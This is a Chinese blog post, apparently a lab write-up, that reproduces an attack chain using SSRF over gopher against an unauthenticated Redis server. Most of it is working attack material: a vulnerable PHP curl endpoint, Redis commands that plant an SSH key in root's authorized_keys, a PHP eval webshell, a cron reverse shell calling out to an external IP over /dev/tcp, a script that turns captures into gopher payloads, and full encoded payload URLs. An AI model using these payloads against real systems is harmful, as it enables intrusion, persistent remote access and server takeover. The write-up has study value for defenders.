SSRF进行Redis未授权访问

前言

基础漏洞类型果然还是得写篇博客记录一下比较稳妥,结果却导致了一些意想不到的问题…….

SSRF简介

SSRF(Server-Side Request Forgery:服务器端请求伪造) 是一种利用漏洞伪造服务器端发起请求。一般情况下,SSRF攻击的目标是从外网无法访问的内部系统。

最基础的漏洞场景

http://www.xxx.com/image.php?image=http://www.xxc.com/a.jpg

这样的链接就是有可能存在ssrf的,因为服务器有可能是向本机发起请求来获取相应的图片

倘若没有对image参数进行任何的检测,就可以构造其他的请求

1
2
3
4
http://www.xxx.com/image.php?image=http://127.0.0.1:22
http://www.xxx.com/image.php?image=file:///etc/passwd
http://www.xxx.com/image.php?image=dict://127.0.0.1:22/data:data2 (dict可以向服务端口请求data data2)
http://www.xxx.com/image.php?image=gopher://127.0.0.1:2233/_test (向2233端口发送数据test,同样可以发送POST请求)

ssrf1.php

1
2
3
4
5
6
7
8
9
10
11
12
<?php
function curl($url){
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_exec($ch);
curl_close($ch);
}

$url = $_GET['url'];
curl($url);
?>

常见的web语言,php和java分别还能使用下面的协议

1
2
3
4
php:
http、https、file、gopher、phar、dict、ftp、ssh、telnet...
java:
http、https、file、ftp、jar、netdoc、mailto...

Redis

在我们日常的Java Web开发中,无不都是使用数据库来进行数据的存储,由于一般的系统任务中通常不会存在高并发的情况,所以这样看起来并没有什么问题,可是一旦涉及大数据量的需求,比如一些商品抢购的情景,或者是主页访问量瞬间较大的时候,单一使用数据库来保存数据的系统会因为面向磁盘,磁盘读/写速度比较慢的问题而存在严重的性能弊端,一瞬间成千上万的请求到来,需要系统在极短的时间内完成成千上万次的读/写操作,这个时候往往不是数据库能够承受的,极其容易造成数据库系统瘫痪,最终导致服务宕机的严重生产问题。

就Redis技术而言,它的性能十分优越,可以支持每秒十几万此的读/写操作,其性能远超数据库,并且还支持集群、分布式、主从同步等配置,原则上可以无限扩展,让更多的数据存储在内存中

此外,Redis还有个重要特点,其所有操作都是原子性的,要么成功执行,要么完全不执行。

常用命令

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
# 启动 redis
$redis-server

$/etc/init.d/redis-server start

# 关闭 redis

$/etc/init.d/redis-server stop

$redis-cli shutdown

# 打开客户端(交互模式)
$redis-cli

$ping # 测试是否启动
=> pong # 则成功

# 远程连接
$redis-cli -h host -p port -a password

# 执行命令
$redis-cli -h 127.0.0.1-p 6379 get hello
"world"

$redis-cli -r 3 ping # -r 将命令重复执行多次,[-i 3 则是每三秒执行一次命令]
PONG
PONG
PONG

$echo "world" |redis-cli -x set hello # -x 从标准输入作为该命令的最后一个参数
Ok

info # 提供服务器的信息和统计
flushall # 删除所有数据库内容
flushdb # 刷新数据库
set test "test" # 设置变量
config set dir dirpath # 设置路径等配置
config get xxx # 获取动态配置信息
save # 将内存中的数据保存到硬盘中
get var
select 2 # 选择 2 号数据库,默认有 16 个数据库
del key # 删除返回 1
exists key # 检查 key 是否存在
expire key seconds # 给 key 设置过期时间(秒)
expireat key timestamp # 设置过期时间(时间戳)
keys pattern # 查找符合模式的 key,用 ? * 模糊匹配
move key db # 将当前数据库 key 移动到数据库 db 中
persist key # 移除过期时间,key 持续有效
pttl key # 返回 key 剩余生存时间(毫秒)
ttl key # 返回 key 剩余生存时间(秒)
randomkey # 随机返回一个 key
rename key newkey # 重命名
renamex key newkey # 仅当 newkey 不存在时重命名
type key # 获取类型
dump key # 序列化

RESP

Redis 即 REmote Dictionary Server (远程字典服务);而Redis的协议规范是 Redis Serialization Protocol (Redis序列化协议),该协议是用于与Redis服务器通信的,用的较多的是Redis-cli通过pipe与Redis服务器联系;

客户端将命令作为Bulk Strings的RESP数组发送到Redis服务器。

服务器根据命令实现回复一种RESP类型。

1
2
3
4
5
6
7
8
在RESP中,某些数据的类型取决于第一个字节:
对于Simple Strings,回复的第一个字节是+
对于error,回复的第一个字节是-
对于Integer,回复的第一个字节是:
对于Bulk Strings,回复的第一个字节是$
对于array,回复的第一个字节是*
此外,RESP能够使用稍后指定的Bulk Strings或Array的特殊变体来表示Null值。
在RESP中,协议的不同部分始终以"\r\n"(CRLF)结束。

Redis未授权访问

尝试直接redis-cli -h ip,因为redis默认无密码,所以连接成功.

连接上去后发现不能执行任何的命令,看来linux的redis已经有了对于远程访问的保护措施

(error) DENIED Redis is running in protected mode because protected mode is enabled, no bind address was specified, no authentication password is requested to clients. In this mode connections are only accepted from the loopback interface.

当然,修改一些配置就可以进行远程访问了

1
2
bind 127.0.0.1前面加上#号
修改redis.conf的protected-mode为no

遇到个无语的问题,ubuntu直接执行redis-server是加载默认配置文件的,但是我进行redis-server /etc/redis/redis.conf就是没有反应,弄了半天也加载不了我修改的文件,最后发现需要用service redis-server restart重启

经过测试,ubuntu服务器虽然有保护测试,但是我用centos服务器直接下载压缩包安装,默认的配置倒是没有保护措施,嗯,配置文件没给你准备protected-mode,不过用yum install redis倒也是有保护

ubuntu aptget的redis默认开启防护 centos因为是下载压缩包编译安装,所以默认没开防护

既然这样,那就用Centos做实验吧

写入公钥连接ssh

1
2
3
4
5
6
7
8
9
10
11
12
$ cat key.txt | redis-cli -h 127.0.0.1 -x set key
$ redis-cli -h 127.0.0.1
127.0.0.1:6379> config set dir /root/.ssh/
127.0.0.1:6379> config get dir
1) "dir"
2) "/root/.ssh"
127.0.0.1:6379> config set dbfilename authorized_keys
127.0.0.1:6379> config get dbfilename
1) "dbfilename"
2) "authorized_keys"
127.0.0.1:6379> save
OK

接下来就用私钥连接ssh
ssh root@ip

(这里采用ssh –i id_rsa root@ip会报错ssh: Could not resolve hostname \342\200\223i: Temporary failure in name resolution,搞了一会没解决,发现其实直接就可以连接了)

写webshell

1
2
3
4
set x "\n\n<?php eval($_POST[1]);?>\n"
config set dir /var/www/html
config set dbfilename shell.php
save

恢复初始设置

以下是默认配置,更妥当的做法是使用 config get dir 记录下之前的配置。

1
2
3
4
5
6
7
8
# 恢复dir
config set dir /var/lib/redis

# 恢复dbfilename
config set dbfilename dump.rdb

# 刷新数据库
flushdb

gopher

gopher是早期的一个互联网协议,能将Internet上的文件组织成某种索引,现在已经没啥人用了,但是最经常见到的还是配合ssrf来打redis

基本格式URL:gopher://<host>:<port>/<gopher-path>

gopher协议不仅仅可以拿来打redis,还可以打FastCGI

用gopher协议进行ssrf攻击redis

存在相关漏洞的代码 ssrf2.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
function curl($url){
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, True);
// 限制为HTTPS、HTTP协议
curl_setopt($ch, CURLOPT_PROTOCOLS, CURLPROTO_HTTP | CURLPROTO_HTTPS);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_exec($ch);
curl_close($ch);
}

$url = $_GET['url'];
curl($url);
?>

构造一个反弹shell的脚本

1
2
3
4
5
6
redis-cli -h $1 -p $2 flushall
echo -e "\n\n\n*/1 * * * * bash -i >& /dev/tcp/120.47.30.236/23336 0>&1\n\n\n"|redis-cli -h $1 -p $2 -x set 1
redis-cli -h $1 -p $2 config set dir /var/spool/cron/
redis-cli -h $1 -p $2 config set dbfilename root
redis-cli -h $1 -p $2 save
redis-cli -h $1 -p $2 quit

第一行是删除所有数据库中的所有key,可以不加
在redis的第0个数据库中添加key为1,value为\n\n\n*/1 * * * * bash -i >& /dev/tcp/120.47.30.236/23336 0>&1\n\n\n\n的字段。最后会多出一个n是因为echo重定向最后会自带一个换行符。
dir 数据库备份的文件放置路径
Dbfilename 备份文件的文件名

执行bash shell.sh 127.0.0.1 6379,当然在这之前先开启socat准备转发流量

使用socat抓取流量,这里是一个流量端口转发,将2345端口的流量转发到6379

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
➜  ~ socat -v tcp-listen:2345,fork tcp-connect:localhost:6379
> 2019/10/18 23:45:18.406761 length=18 from=0 to=17
*1\r
$8\r
flushall\r
< 2019/10/18 23:45:18.410261 length=5 from=0 to=4
+OK\r
> 2019/10/18 23:45:18.413790 length=88 from=0 to=87
*3\r
$3\r
set\r
$1\r
1\r
$61\r


*/1 * * * * bash -i >& /dev/tcp/120.47.30.236/23336 0>&1


\r
< 2019/10/18 23:45:18.415622 length=5 from=0 to=4
+OK\r
> 2019/10/18 23:45:18.418228 length=57 from=0 to=56
*4\r
$6\r
config\r
$3\r
set\r
$3\r
dir\r
$16\r
/var/spool/cron/\r
< 2019/10/18 23:45:18.419439 length=5 from=0 to=4
+OK\r
> 2019/10/18 23:45:18.422462 length=52 from=0 to=51
*4\r
$6\r
config\r
$3\r
set\r
$10\r
dbfilename\r
$4\r
root\r

使用一个现有的脚本转换为gopher协议格式

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
#coding: utf-8
#author: JoyChou
import sys

exp = ''

with open(sys.argv[1]) as f:
for line in f.readlines():
if line[0] in '><+':
continue
# 判断倒数第2、3字符串是否为\r
elif line[-3:-1] == r'\r':
# 如果该行只有\r,将\r替换成%0a%0d%0a
if len(line) == 3:
exp = exp + '%0a%0d%0a'
else:
line = line.replace(r'\r', '%0d%0a')
# 去掉最后的换行符
line = line.replace('\n', '')
exp = exp + line
# 判断是否是空行,空行替换为%0a
elif line == '\x0a':
exp = exp + '%0a'
else:
line = line.replace('\n', '')
exp = exp + line
print exp

生成的遵循gopher协议的字符串如下

1
*1%0d%0a$8%0d%0aflushall%0d%0a*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$61%0d%0a%0a%0a*/1 * * * * bash -i >& /dev/tcp/120.47.30.236/23336 0>&1%0a%0a%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0a*1%0d%0a$4%0d%0aquit%0d%0a

不过真正的payload需要在前面加一个下划线_,不然打不通

在本地进行测试

1
curl -v 'gopher://127.0.0.1:6379/_*1%0d%0a$8%0d%0aflushall%0d%0a*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$61%0d%0a%0a%0a*/1 * * * * bash -i >& /dev/tcp/120.47.30.236/23336 0>&1%0a%0a%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0a*1%0d%0a$4%0d%0aquit%0d%0a'

很神奇的是,在不同的机子测试有不同的效果,有的成功,有的失败
F0ML0K0YJ(7XFMG2ZX3~3FD.png

1
2
3
4
5
6
7
8
root@vultr:~# echo -e "\n\n\n*/1 * * * * bash -i >& /dev/tcp/120.40.30.236/23336 0>&1\n\n\n"|redis-cli -x set 1
OK
root@vultr:~# redis-cli config set dir /var/spool/cron/
OK
root@vultr:~# redis-cli config set dbfilename root
OK
root@vultr:~# redis-cli save
(error) ERR

最后发现是因为这些机子的redis并不是以root权限启动的,而是以redis用户运行,而用写入crontab的方式要求redis必须是root用户启动

1
2
root@vultr:/etc# ll crontab
-rw-r--r-- 1 root root 722 Nov 16 2017 crontab

1
redis    10985     1  0 04:41 ?        00:00:08 /usr/bin/redis-server 127.0.0.1:6379

经过对比,我发现,使用/etc/init.d/redis-server start启动则是redis用户,如果直接redis-server启动就是root权限.修改启动方式后再进行测试,返回的全是OK,那么就解决这个问题了

最后进行一下反弹shell的测试吧

最后的payload

1
curl -v 'http://147.248.58.162/ssrf2.php?url=gopher%3A%2F%2F127.0.0.1%3A6379%2F_*1%250d%250a%248%250d%250aflushall%250d%250a*3%250d%250a%243%250d%250aset%250d%250a%241%250d%250a1%250d%250a%2461%250d%250a%250a%250a*%2F1%20*%20*%20*%20*%20bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F120.77.38.236%2F23336%200%3E%261%250a%250a%250a%250d%250a*4%250d%250a%246%250d%250aconfig%250d%250a%243%250d%250aset%250d%250a%243%250d%250adir%250d%250a%2416%250d%250a%2Fvar%2Fspool%2Fcron%2F%250d%250a*4%250d%250a%246%250d%250aconfig%250d%250a%243%250d%250aset%250d%250a%2410%250d%250adbfilename%250d%250a%244%250d%250aroot%250d%250a*1%250d%250a%244%250d%250asave%250d%250a*1%250d%250a%244%250d%250aquit%250d%250a'

emmmm,还是没打通,看了别人的文章才知道,这个利用contrab反弹shell只能在centos上行得通,难怪我之前的一次实验一下就成功了,那时候用的就是centos的VPS,而且是下载压缩包安装的,默认还没有各种保护

而不能在ubuntu成功的原因如下

1.因为默认redis写文件后是644的权限,但ubuntu要求执行定时任务文件/var/spool/cron/crontabs/权限必须是600也就是-rw——-才会执行,否则会报错(root) INSECURE MODE (mode 0600 expected),而Centos的定时任务文件/var/spool/cron/权限644也能执行

2.因为redis保存RDB会存在乱码,在Ubuntu上会报错,而在Centos上不会报错

3.由于系统的不同,crontrab定时文件位置也会不同,Centos的定时任务文件在/var/spool/cron/,而Ubuntu定时任务文件在/var/spool/cron/crontabs/

4.Centos和Ubuntu均存在的(需要root权限)/etc/crontab PS:高版本的redis默认启动是redis权限

嗯,所以按照上面的payload是可以打centos的,不过之前测试的centos的VPS出了点意外…..懒得再弄一个centos环境了,之前打过确实反弹shell成功了,至于VPS的意外可以看下一篇blog

结束语

嗯,本来这个复现是在头一天晚上睡前完成的,然后想着第二天再来完善记录,结果第二天晚上再连VPS靶机的时候….发现ssh连不上去了…然后就有了下一篇博客的故事

参考链接

https://xz.aliyun.com/t/6235

https://www.jianshu.com/p/56999f2b8e3b

https://blog.chaitin.cn/gopher-attack-surfaces/

https://wywwzjj.top/2019/05/17/Redis-%E6%9C%AA%E6%8E%88%E6%9D%83%E8%AE%BF%E9%97%AE%E7%9B%B8%E5%85%B3%E5%88%A9%E7%94%A8/

https://joychou.org/web/phpssrf.html

https://mp.weixin.qq.com/s/as4WP7RkGaXVI6enlMDktg

https://www.lorexxar.cn/2016/12/03/redis-getshell/